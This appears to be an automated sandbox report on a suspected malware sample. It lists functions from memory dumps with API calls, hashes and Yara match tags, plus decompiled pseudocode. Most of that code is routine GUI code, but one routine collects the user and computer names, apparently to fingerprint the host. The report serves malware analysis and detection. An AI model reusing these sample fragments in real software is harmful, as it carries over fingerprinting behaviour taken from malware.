Yara matches

Similarity

API ID: lstrlen$AllocateHeap
String ID: .dll$DllRegisterServer
API String ID: 3070124600-294589026
Opcode ID: 18733d635530df63ab3c742f6aa1dac227583acb5c2d7461464d95455db325bc
Instruction ID: 427f5d66161e3988b139e585bebe24e6bee3e234f95a884c514098f83ceff737
Opcode Fuzzy Hash: 18733d635530df63ab3c742f6aa1dac227583acb5c2d7461464d95455db325bc
Instruction Fuzzy Hash: 7DF0B4B3D40220BBC32057A8DC4CE57B7ACEF45B51B058963F906D3211D630E8248BB0

Uniqueness

Uniqueness Score: -1.00%

Function 0234775F, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 28sleepmemoryCOMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(04908F48), ref: 02347768
Sleep.KERNEL32(0000000A,?,00000000), ref: 02347772
HeapFree.KERNEL32(00000000), ref: 023477A0
RtlLeaveCriticalSection.NTDLL(04908F48), ref: 023477B5

Strings

0123456789ABCDEF, xrefs: 0234778F

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: CriticalSection$EnterFreeHeapLeaveSleep
String ID: 0123456789ABCDEF
API String ID: 58946197-2554083253
Opcode ID: 8396fcfe33de6b8282d3ef6ecd4dc617a4a86c8ec9c49f5760f36fc56bc6a674
Instruction ID: 224c16628aca6fd8d2f75afe5d1f281421e7d6f074bc1f4e49e97cf49cdaa7c7
Opcode Fuzzy Hash: 8396fcfe33de6b8282d3ef6ecd4dc617a4a86c8ec9c49f5760f36fc56bc6a674
Instruction Fuzzy Hash: 0EF0DAB4AC0200AFE708CB14DA9DF25BBEDEB05705F948898E90387251CB34FC20CE55

Uniqueness

Uniqueness Score: -1.00%

Function 0234B3C6, Relevance: 7.6, APIs: 6, Instructions: 137stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0234CED9: ExpandEnvironmentStringsW.KERNEL32(?,00000000,00000000,?,00000000,?,02359B36), ref: 0234CEEA
Part of subcall function 0234CED9: ExpandEnvironmentStringsW.KERNEL32(?,00000000,00000000,00000000,?,02359B36), ref: 0234CF07

lstrlenW.KERNEL32(00000000,00000000,?,?,00750025), ref: 0234B40C
lstrlenW.KERNEL32(00000008,?,?,00750025), ref: 0234B413
lstrlenW.KERNEL32(?,?,?,?,00750025), ref: 0234B42F
lstrlen.KERNEL32 ref: 0234B4A9
lstrlenW.KERNEL32(?), ref: 0234B4B5
wsprintfA.USER32 ref: 0234B4E3

Part of subcall function 02341ADC: HeapFree.KERNEL32(00000000,?,02354DD0), ref: 02341AE8

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: lstrlen$EnvironmentExpandStrings$FreeHeapwsprintf
String ID:
API String ID: 3384896299-0
Opcode ID: 20d40290f009aef7b4f1bc5894209ba9f8a677a9b2a65de229d739a7a93837f9
Instruction ID: f464f920a90f73403b5d0ed3c72656a00b14380c927cbabd5496e9981f05470d
Opcode Fuzzy Hash: 20d40290f009aef7b4f1bc5894209ba9f8a677a9b2a65de229d739a7a93837f9
Instruction Fuzzy Hash: D1414DB1900209AFCB11EFA5DC48DAEBBFEEF44308B058496E905D7211DB35EA159F60

Uniqueness

Uniqueness Score: -1.00%

Function 003ABA68, Relevance: 7.6, APIs: 5, Instructions: 110
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E003ABA68(intOrPtr* __eax, void* __ebx, signed int __ecx, struct tagRECT* __edx, void* __edi, void* __esi) {
				char _v8;
				int _t40;
				CHAR* _t42;
				int _t54;
				CHAR* _t56;
				int _t65;
				CHAR* _t67;
				intOrPtr* _t76;
				intOrPtr _t86;
				struct tagRECT* _t91;
				signed int _t93;
				int _t94;
				intOrPtr _t97;
				signed int _t104;

				_push(0);
				_t93 = __ecx;
				_t91 = __edx;
				_t76 = __eax;
				_push(_t97);
				_push(0x3abbbe);
				_push( *[fs:eax]);
				 *[fs:eax] = _t97;
				 *((intOrPtr*)( *__eax + 0x90))();
				if((__ecx & 0x00000400) != 0 && (_v8 == 0 ||  *((char*)(__eax + 0x170)) != 0 &&  *_v8 == 0x26 &&  *((char*)(_v8 + 1)) == 0)) {
					E00384184( &_v8, 0x3abbd4);
				}
				if( *((char*)(_t76 + 0x170)) == 0) {
					_t104 = _t93;
				}
				_t94 = E003CA9B0(_t76, _t93, _t104);
				E003A06C4( *((intOrPtr*)(_t76 + 0x160)));
				if( *((intOrPtr*)( *_t76 + 0x50))() != 0) {
					_t40 = E0038417C(_v8);
					_t42 = E0038437C(_v8);
					DrawTextA(E003A07A4( *((intOrPtr*)(_t76 + 0x160))), _t42, _t40, _t91, _t94);
				} else {
					OffsetRect(_t91, 1, 1);
					E0039F918( *((intOrPtr*)( *((intOrPtr*)(_t76 + 0x160)) + 0xc)), 0xff000014);
					_t54 = E0038417C(_v8);
					_t56 = E0038437C(_v8);
					DrawTextA(E003A07A4( *((intOrPtr*)(_t76 + 0x160))), _t56, _t54, _t91, _t94);
					OffsetRect(_t91, 0xffffffff, 0xffffffff);
					E0039F918( *((intOrPtr*)( *((intOrPtr*)(_t76 + 0x160)) + 0xc)), 0xff000010);
					_t65 = E0038417C(_v8);
					_t67 = E0038437C(_v8);
					DrawTextA(E003A07A4( *((intOrPtr*)(_t76 + 0x160))), _t67, _t65, _t91, _t94);
				}
				_pop(_t86);
				 *[fs:eax] = _t86;
				_push(0x3abbc5);
				return E00383EBC( &_v8);
			}

0x003aba6b
0x003aba70
0x003aba72
0x003aba74
0x003aba78
0x003aba79
0x003aba7e
0x003aba81
0x003aba8b
0x003aba97
0x003abac1
0x003abac1
0x003abacd
0x003abacf
0x003abacf
0x003abade
0x003abae9
0x003abaf7
0x003abb88
0x003abb91
0x003abba3
0x003abafd
0x003abb02
0x003abb15
0x003abb1f
0x003abb28
0x003abb3a
0x003abb44
0x003abb57
0x003abb61
0x003abb6a
0x003abb7c
0x003abb7c
0x003abbaa
0x003abbad
0x003abbb0
0x003abbbd

APIs

OffsetRect.USER32 ref: 003ABB02
DrawTextA.USER32(00000000,00000000,00000000,?,00000000), ref: 003ABB3A
OffsetRect.USER32 ref: 003ABB44
DrawTextA.USER32(00000000,00000000,00000000,?,00000000), ref: 003ABB7C
DrawTextA.USER32(00000000,00000000,00000000,?,00000000), ref: 003ABBA3

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: DrawText$OffsetRect
String ID:
API String ID: 1886049697-0
Opcode ID: aa44d56cbbb33c5844d2092e44f6a3d6533e5629aef028f40982d189ba0cbdac
Instruction ID: 9a19b75c66e01bef680d20dc84a6e6a2828c62cb40fd09f2a10fd9dae640ca5e
Opcode Fuzzy Hash: aa44d56cbbb33c5844d2092e44f6a3d6533e5629aef028f40982d189ba0cbdac
Instruction Fuzzy Hash: B731ED70604204AFDB12FB68CD86B9BBBA9EF4A710F1541B4B808EB267DB759D409760

Uniqueness

Uniqueness Score: -1.00%

Function 003CCB6C, Relevance: 7.6, APIs: 5, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E003CCB6C(intOrPtr* __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				intOrPtr* _v8;
				intOrPtr _v12;
				int _v16;
				int _v20;
				struct tagPAINTSTRUCT _v84;
				intOrPtr _t55;
				void* _t64;
				struct HDC__* _t75;
				intOrPtr _t84;
				void* _t95;
				void* _t96;
				void* _t98;
				void* _t100;
				void* _t101;
				intOrPtr _t102;

				_t100 = _t101;
				_t102 = _t101 + 0xffffffb0;
				_v12 = __edx;
				_v8 = __eax;
				_t4 = _v12 + 4; // 0x55dfebff
				_t75 =  *_t4;
				if(_t75 == 0) {
					_t75 = BeginPaint(E003CEEB8(_v8),  &_v84);
				}
				_push(_t100);
				_push(0x3ccc8c);
				_push( *[fs:edx]);
				 *[fs:edx] = _t102;
				if( *((intOrPtr*)(_v8 + 0x198)) != 0) {
					_v20 = SaveDC(_t75);
					_v16 = 2;
					_t95 =  *((intOrPtr*)( *((intOrPtr*)(_v8 + 0x198)) + 8)) - 1;
					if(_t95 >= 0) {
						_t96 = _t95 + 1;
						_t98 = 0;
						do {
							_t64 = E00396F34( *((intOrPtr*)(_v8 + 0x198)), _t98);
							if( *((char*)(_t64 + 0x57)) != 0 || ( *(_t64 + 0x1c) & 0x00000010) != 0 && ( *(_t64 + 0x51) & 0x00000004) == 0) {
								if(( *(_t64 + 0x50) & 0x00000040) == 0) {
									goto L11;
								} else {
									_v16 = ExcludeClipRect(_t75,  *(_t64 + 0x40),  *(_t64 + 0x44),  *(_t64 + 0x40) +  *((intOrPtr*)(_t64 + 0x48)),  *(_t64 + 0x44) +  *((intOrPtr*)(_t64 + 0x4c)));
									if(_v16 != 1) {
										goto L11;
									}
								}
							} else {
								goto L11;
							}
							goto L12;
							L11:
							_t98 = _t98 + 1;
							_t96 = _t96 - 1;
						} while (_t96 != 0);
					}
					L12:
					if(_v16 != 1) {
						 *((intOrPtr*)( *_v8 + 0xb8))();
					}
					RestoreDC(_t75, _v20);
				} else {
					 *((intOrPtr*)( *_v8 + 0xb8))();
				}
				E003CCCC4(_v8, 0, _t75);
				_pop(_t84);
				 *[fs:eax] = _t84;
				_push(0x3ccc93);
				_t55 = _v12;
				if( *((intOrPtr*)(_t55 + 4)) == 0) {
					return EndPaint(E003CEEB8(_v8),  &_v84);
				}
				return _t55;
			}

0x003ccb6d
0x003ccb6f
0x003ccb75
0x003ccb78
0x003ccb7e
0x003ccb7e
0x003ccb83
0x003ccb97
0x003ccb97
0x003ccb9b
0x003ccb9c
0x003ccba1
0x003ccba4
0x003ccbb1
0x003ccbcb
0x003ccbce
0x003ccbe1
0x003ccbe4
0x003ccbe6
0x003ccbe7
0x003ccbe9
0x003ccbf4
0x003ccbfd
0x003ccc0f
0x00000000
0x003ccc11
0x003ccc2d
0x003ccc34
0x00000000
0x00000000
0x003ccc34
0x00000000
0x00000000
0x00000000
0x00000000
0x003ccc36
0x003ccc36
0x003ccc37
0x003ccc37
0x003ccbe9
0x003ccc3a
0x003ccc3e
0x003ccc47
0x003ccc47
0x003ccc52
0x003ccbb3
0x003ccbba
0x003ccbba
0x003ccc5e
0x003ccc65
0x003ccc68
0x003ccc6b
0x003ccc70
0x003ccc77
0x00000000
0x003ccc86
0x003ccc8b

APIs

BeginPaint.USER32(00000000,?), ref: 003CCB92
SaveDC.GDI32(55DFEBFF), ref: 003CCBC6
ExcludeClipRect.GDI32(55DFEBFF,?,?,?,?), ref: 003CCC28
RestoreDC.GDI32(55DFEBFF,003B3EAB), ref: 003CCC52
EndPaint.USER32(00000000,?), ref: 003CCC86

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: Paint$BeginClipExcludeRectRestoreSave
String ID:
API String ID: 3808407030-0
Opcode ID: c6b01a34d64cec52997c702c6b17f840b6d3eb42c550971bd1f52fd45b54b5c8
Instruction ID: f703cb965abf4ad1947d069432a2e0eae776133d62514767a0ec35d57f310d79
Opcode Fuzzy Hash: c6b01a34d64cec52997c702c6b17f840b6d3eb42c550971bd1f52fd45b54b5c8
Instruction Fuzzy Hash: 0D415B70A10208AFCB12DB99C985FAEB7F9BF48304F1590ECE508DB262DB359D45CB10

Uniqueness

Uniqueness Score: -1.00%

Function 023574CA, Relevance: 7.6, APIs: 5, Instructions: 102synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 0234609E: OpenMutexA.KERNEL32(00100001,00000000,?), ref: 023460AA
Part of subcall function 0234609E: SetLastError.KERNEL32(000000B7,?,023574DE), ref: 023460BB

WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 023574FE
CloseHandle.KERNEL32(00000000), ref: 023575D6

Part of subcall function 02352768: OpenWaitableTimerA.KERNEL32(00100002,00000000,?), ref: 02352782
Part of subcall function 02352768: CreateWaitableTimerA.KERNEL32(02367160,00000001,?), ref: 0235279F
Part of subcall function 02352768: GetLastError.KERNEL32(?,00000000,0235162F,00000000,00000000,0000801C,?,?,00000000,?,00000001,?,00000000,?,?,?), ref: 023527B0
Part of subcall function 02352768: GetSystemTimeAsFileTime.KERNEL32(00000000,00000000,00000000,?,?,00000000,0235162F,00000000,00000000,0000801C), ref: 023527F0
Part of subcall function 02352768: SetWaitableTimer.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,0235162F,00000000,00000000,0000801C), ref: 0235280F
Part of subcall function 02352768: HeapFree.KERNEL32(00000000,00000000,00000000), ref: 02352825

GetLastError.KERNEL32(?), ref: 023575BF
ReleaseMutex.KERNEL32(00000000), ref: 023575C8

Part of subcall function 0234609E: CreateMutexA.KERNEL32(02367160,00000000,?,?,023574DE), ref: 023460CE

GetLastError.KERNEL32 ref: 023575E3

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: ErrorLast$MutexTimerWaitable$CreateOpenTime$CloseFileFreeHandleHeapMultipleObjectsReleaseSystemWait
String ID:
API String ID: 1700416623-0
Opcode ID: ae59929ddefb97094f2f50f6c8efdf34b94c5e53ebf6ae31e86b3275374c2d99
Instruction ID: 2ee90aea7c318e23e85d154c078893d9151db86687e8364d93274ef4fb5896ba
Opcode Fuzzy Hash: ae59929ddefb97094f2f50f6c8efdf34b94c5e53ebf6ae31e86b3275374c2d99
Instruction Fuzzy Hash: C1317EB5A002149BCB11AF75D848D6ABBFEEF88314B148C66EC06D7290DA709915CF60

Uniqueness

Uniqueness Score: -1.00%

Function 0234F524, Relevance: 7.6, APIs: 5, Instructions: 92fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0234E1A6: GetSystemTimeAsFileTime.KERNEL32(?), ref: 0234E1B2
Part of subcall function 0234E1A6: _aulldiv.NTDLL(?,?,54D38000,00000192), ref: 0234E1C8
Part of subcall function 0234E1A6: _snwprintf.NTDLL ref: 0234E1ED
Part of subcall function 0234E1A6: CreateFileMappingW.KERNEL32(000000FF,02367160,00000004,00000000,00001000,?,?,54D38000,00000192), ref: 0234E209
Part of subcall function 0234E1A6: GetLastError.KERNEL32 ref: 0234E21B
Part of subcall function 0234E1A6: CloseHandle.KERNEL32(00000000), ref: 0234E253

UnmapViewOfFile.KERNEL32(?), ref: 0234F55D
CloseHandle.KERNEL32(?), ref: 0234F566
SetEvent.KERNEL32(02367330,?,00000000), ref: 0234F5DB
GetLastError.KERNEL32(Function_0000A21E,00000000,00000000), ref: 0234F60A
CloseHandle.KERNEL32(00000000), ref: 0234F61A

Part of subcall function 02360B85: lstrlenW.KERNEL32(?,00000000,02361889,00000000,?,?,0235242E,?,?,02341D11,?,?,?,00000000), ref: 02360B91
Part of subcall function 02360B85: memcpy.NTDLL(00000000,?,00000000,00000002,?,?,0235242E,?,?,02341D11,?,?,?,00000000), ref: 02360BB9
Part of subcall function 02360B85: memset.NTDLL ref: 02360BCB

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: CloseFileHandle$ErrorLastTime$CreateEventMappingSystemUnmapView_aulldiv_snwprintflstrlenmemcpymemset
String ID:
API String ID: 1106445334-0
Opcode ID: a3829f6de1681fc4bbf73a4ba1603e5c67488660ce7cc21da0a8442f69c82e33
Instruction ID: c6925d664cf957d968eaab2ed06d3495a533f09074cc23aa117353e46d8aad36
Opcode Fuzzy Hash: a3829f6de1681fc4bbf73a4ba1603e5c67488660ce7cc21da0a8442f69c82e33
Instruction Fuzzy Hash: F531E571E40204ABEB20AFB4D949BBEB7FDEF05728F4844E5E846D2540DF34F9158A54

Uniqueness

Uniqueness Score: -1.00%

Function 00473F90, Relevance: 7.6, APIs: 5, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00473F90() {
				long _v8;
				long _v12;
				int _v16;
				long _t39;
				long _t43;
				signed int _t47;
				signed int _t52;
				int _t56;
				int _t57;
				char* _t63;
				short* _t66;

				_v16 = 0;
				_v8 = 0;
				GetUserNameW(0,  &_v8);
				_t39 = _v8;
				if(_t39 != 0) {
					_v12 = _t39;
					_v8 = 0;
					GetComputerNameW(0,  &_v8);
					_t43 = _v8;
					if(_t43 != 0) {
						_v12 = _v12 + _t43 + 2;
						_t63 = E004716F8(_v12 + _t43 + 2 << 2);
						if(_t63 != 0) {
							_t47 = _v12;
							_t66 = _t63 + _t47 * 2;
							_v8 = _t47;
							if(GetUserNameW(_t66,  &_v8) == 0) {
								L7:
								E004770FF(_t63);
							} else {
								 *((short*)(_t66 + _v8 * 2 - 2)) = 0x40;
								_t52 = _v8;
								_v12 = _v12 - _t52;
								if(GetComputerNameW( &(_t66[_t52]),  &_v12) == 0) {
									goto L7;
								} else {
									_t56 = _v12 + _v8;
									_t31 = _t56 + 2; // 0x478de4
									_v12 = _t56;
									_t57 = WideCharToMultiByte(0xfde9, 0, _t66, _t56, _t63, _t56 + _t31, 0, 0);
									_v8 = _t57;
									if(_t57 == 0) {
										goto L7;
									} else {
										_t63[_t57] = 0;
										_v16 = _t63;
									}
								}
							}
						}
					}
				}
				return _v16;
			}

0x00473f9e
0x00473fa1
0x00473fa4
0x00473faa
0x00473faf
0x00473fb5
0x00473fbd
0x00473fc0
0x00473fc6
0x00473fcb
0x00473fd8
0x00473fe5
0x00473fe9
0x00473feb
0x00473fef
0x00473ff2
0x00474002
0x00474054
0x00474055
0x00474004
0x00474007
0x0047400e
0x00474011
0x00474024
0x00000000
0x00474026
0x00474029
0x0047402e
0x0047403c
0x0047403f
0x00474047
0x0047404a
0x00000000
0x0047404c
0x0047404c
0x0047404f
0x0047404f
0x0047404a
0x00474024
0x0047405a
0x0047405b
0x00473fcb
0x00474061

APIs

GetUserNameW.ADVAPI32(00000000,00478DE2), ref: 00473FA4
GetComputerNameW.KERNEL32(00000000,00478DE2), ref: 00473FC0

Part of subcall function 004716F8: RtlAllocateHeap.NTDLL(00000000,00000000,0047147D), ref: 00471704

GetUserNameW.ADVAPI32(00000000,00478DE2), ref: 00473FFA
GetComputerNameW.KERNEL32(00478DE2,?), ref: 0047401C
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,00478DE2,00000000,00478DE4,00000000,00000000,?,?,00478DE2), ref: 0047403F

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: Name$ComputerUser$AllocateByteCharHeapMultiWide
String ID:
API String ID: 3850880919-0
Opcode ID: a2f3c68300ab9b3b644119c19139be7692917f6b06a6134a337b6a3486bf29de
Instruction ID: 56c894225c385461d9da37b8777d57fba3f18f924138ce9d1c942c46e776125b
Opcode Fuzzy Hash: a2f3c68300ab9b3b644119c19139be7692917f6b06a6134a337b6a3486bf29de
Instruction Fuzzy Hash: 0A21D871900248EB8B11DFE9C9C5CEEBBB8EE45304B5080AAE619E7200D7349B45DB64

Uniqueness

Uniqueness Score: -1.00%

Function 02352FD1, Relevance: 7.6, APIs: 5, Instructions: 81COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(00000000,0234A504), ref: 02352FE5
GetComputerNameW.KERNEL32(00000000,0234A504), ref: 02353001

Part of subcall function 02350F24: RtlAllocateHeap.NTDLL(00000000,?,02354D76), ref: 02350F30

GetUserNameW.ADVAPI32(754294D8,0234A504), ref: 0235303B
GetComputerNameW.KERNEL32(0234A504,?), ref: 0235305D
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,754294D8,0234A504,00000000,0234A506,00000000,00000000,?,?,0234A504), ref: 02353080

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Name$ComputerUser$AllocateByteCharHeapMultiWide
String ID:
API String ID: 3850880919-0
Opcode ID: e00a4858bb796f033ad8fba49553a81ffb990a058b122633a8ccb8ec292aeb00
Instruction ID: de7c1a6dd051a8940919f9950ec3e52e83f65655b73b5b1178b2738e52a28340
Opcode Fuzzy Hash: e00a4858bb796f033ad8fba49553a81ffb990a058b122633a8ccb8ec292aeb00
Instruction Fuzzy Hash: 7421D8B6D00219FFCB11DFA9C989CAEBBBDEF44344B5044AAE906E7201DB349B45DB50

Uniqueness

Uniqueness Score: -1.00%

Function 003BE918, Relevance: 7.6, APIs: 5, Instructions: 77
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E003BE918(int __eax, void* __edx) {
				signed int _t39;
				signed int _t40;
				intOrPtr _t44;
				int _t46;
				int _t47;
				intOrPtr* _t48;

				_t18 = __eax;
				_t48 = __eax;
				if(( *(__eax + 0x1c) & 0x00000008) == 0) {
					if(( *(__eax + 0x1c) & 0x00000002) != 0) {
						 *((char*)(__eax + 0x74)) = 1;
						return __eax;
					}
					_t19 =  *((intOrPtr*)(__eax + 0x6c));
					if( *((intOrPtr*)(__eax + 0x6c)) != 0) {
						return E003BE918(_t19, __edx);
					}
					_t18 = GetMenuItemCount(E003BEA48(__eax));
					_t47 = _t18;
					_t40 = _t39 & 0xffffff00 | _t47 == 0x00000000;
					while(_t47 > 0) {
						_t46 = _t47 - 1;
						_t18 = GetMenuState(E003BEA48(_t48), _t46, 0x400);
						if((_t18 & 0x00000004) == 0) {
							_t18 = RemoveMenu(E003BEA48(_t48), _t46, 0x400);
							_t40 = 1;
						}
						_t47 = _t47 - 1;
					}
					if(_t40 != 0) {
						if( *((intOrPtr*)(_t48 + 0x64)) != 0) {
							L14:
							E003BE7D8(_t48);
							L15:
							return  *((intOrPtr*)( *_t48 + 0x3c))();
						}
						_t44 =  *0x3bd42c; // 0x3bd478
						if(E00383288( *((intOrPtr*)(_t48 + 0x70)), _t44) == 0 || GetMenuItemCount(E003BEA48(_t48)) != 0) {
							goto L14;
						} else {
							DestroyMenu( *(_t48 + 0x34));
							 *(_t48 + 0x34) = 0;
							goto L15;
						}
					}
				}
				return _t18;
			}

0x003be918
0x003be91c
0x003be922
0x003be92c
0x003be92e
0x00000000
0x003be92e
0x003be937
0x003be93c
0x00000000
0x003be93e
0x003be950
0x003be955
0x003be959
0x003be95e
0x003be967
0x003be971
0x003be978
0x003be988
0x003be98d
0x003be98d
0x003be98f
0x003be990
0x003be996
0x003be99c
0x003be9d1
0x003be9d3
0x003be9d8
0x00000000
0x003be9de
0x003be9a1
0x003be9ae
0x00000000
0x003be9c1
0x003be9c5
0x003be9cc
0x00000000
0x003be9cc
0x003be9ae
0x003be996
0x003be9e5

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb7d9695942be380c4be17e8369f9f5c60efab6fdfa5f8213a0fbe91bf8943c9
Instruction ID: 9a9ccdc7020ad836d2dd15daab8326384c6fbcc51f42f31c96d6987a87de00c3
Opcode Fuzzy Hash: bb7d9695942be380c4be17e8369f9f5c60efab6fdfa5f8213a0fbe91bf8943c9
Instruction Fuzzy Hash: EF117F22B453585AEBA3BB7E8806BDA77985F9174CF054465BF419FA42CB38CC0D8350

Uniqueness

Uniqueness Score: -1.00%

Function 003B9D9C, Relevance: 7.6, APIs: 5, Instructions: 73
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E003B9D9C(void* __eax, struct HWND__** __edx) {
				intOrPtr _t11;
				intOrPtr _t20;
				void* _t30;
				void* _t31;
				void* _t33;
				struct HWND__** _t34;
				struct HWND__* _t35;
				struct HWND__* _t36;

				_t34 = __edx;
				_t33 = __eax;
				_t30 = 0;
				_t11 =  *((intOrPtr*)(__edx + 4));
				if(_t11 < 0x100 || _t11 > 0x108) {
					L16:
					return _t30;
				} else {
					_t35 = GetCapture();
					if(_t35 != 0) {
						if(GetWindowLongA(_t35, 0xfffffffa) ==  *0x3db668 && SendMessageA(_t35, _t34[1] + 0xbc00, _t34[2], _t34[3]) != 0) {
							_t30 = 1;
						}
						goto L16;
					}
					_t36 =  *_t34;
					_t2 = _t33 + 0x44; // 0x0
					_t20 =  *_t2;
					if(_t20 == 0 || _t36 !=  *((intOrPtr*)(_t20 + 0x254))) {
						L7:
						if(E003C55B0(_t36, _t31) == 0 && _t36 != 0) {
							_t36 = GetParent(_t36);
							goto L7;
						}
						if(_t36 == 0) {
							_t36 =  *_t34;
						}
						goto L11;
					} else {
						_t36 = E003CEEB8(_t20);
						L11:
						if(SendMessageA(_t36, _t34[1] + 0xbc00, _t34[2], _t34[3]) != 0) {
							_t30 = 1;
						}
						goto L16;
					}
				}
			}

0x003b9da0
0x003b9da2
0x003b9da4
0x003b9da6
0x003b9dae
0x003b9e4d
0x003b9e53
0x003b9dbf
0x003b9dc4
0x003b9dc8
0x003b9e2e
0x003b9e4b
0x003b9e4b
0x00000000
0x003b9e2e
0x003b9dca
0x003b9dcc
0x003b9dcc
0x003b9dd1
0x003b9dec
0x003b9df5
0x003b9dea
0x00000000
0x003b9dea
0x003b9dfd
0x003b9dff
0x003b9dff
0x00000000
0x003b9ddb
0x003b9de0
0x003b9e01
0x003b9e1a
0x003b9e1c
0x003b9e1c
0x00000000
0x003b9e1a
0x003b9dd1

APIs

GetCapture.USER32 ref: 003B9DBF
SendMessageA.USER32 ref: 003B9E13
GetWindowLongA.USER32(00000000,000000FA), ref: 003B9E23
SendMessageA.USER32 ref: 003B9E42

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$CaptureLongWindow
String ID:
API String ID: 1158686931-0
Opcode ID: e68abeeba2a66a39c60def96e54caa1660071b972493afed7b8f3879b8880536
Instruction ID: 85fd90d16ce32739c2f7fc08034bdc45ea4e9f00e98763023c8bf9b76df332d7
Opcode Fuzzy Hash: e68abeeba2a66a39c60def96e54caa1660071b972493afed7b8f3879b8880536
Instruction Fuzzy Hash: AA119071200609DFEA62FA69C881FA773DC9B64318B11446AFB69C7B42EA61FC408360

Uniqueness

Uniqueness Score: -1.00%

Function 02354D2C, Relevance: 7.6, APIs: 5, Instructions: 72fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 02354D4A
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,?,02341016,?,?,?), ref: 02354D5A
ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 02354D86
GetLastError.KERNEL32(?,?,?,?,?,02341016,?,?,?), ref: 02354DAB
CloseHandle.KERNEL32(000000FF), ref: 02354DBC

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: File$CloseCreateErrorHandleLastReadSize
String ID:
API String ID: 3577853679-0
Opcode ID: 4f851d0e056f1471c1e65cf40a57d09ab7d27dc989a4094016261f22c85435bb
Instruction ID: bbf60715b145fe2b91c767c4f51143c1b7b09a994623a2c3e2d753c2999d7ec2
Opcode Fuzzy Hash: 4f851d0e056f1471c1e65cf40a57d09ab7d27dc989a4094016261f22c85435bb
Instruction Fuzzy Hash: 801106B2900234BFDB206F68DC88EAE7BEDEB44764F018526FE1997141C7709C91CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 02350C98, Relevance: 7.6, APIs: 5, Instructions: 71memoryCOMMON

Download Yara Rule

APIs

StrChrA.SHLWAPI(?,0000002C), ref: 02350CA9
StrRChrA.SHLWAPI(?,00000000,0000002F), ref: 02350CC2
StrTrimA.SHLWAPI(?,20000920), ref: 02350CEA
StrTrimA.SHLWAPI(00000000,20000920), ref: 02350CF9
HeapFree.KERNEL32(00000000,?,?), ref: 02350D30

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

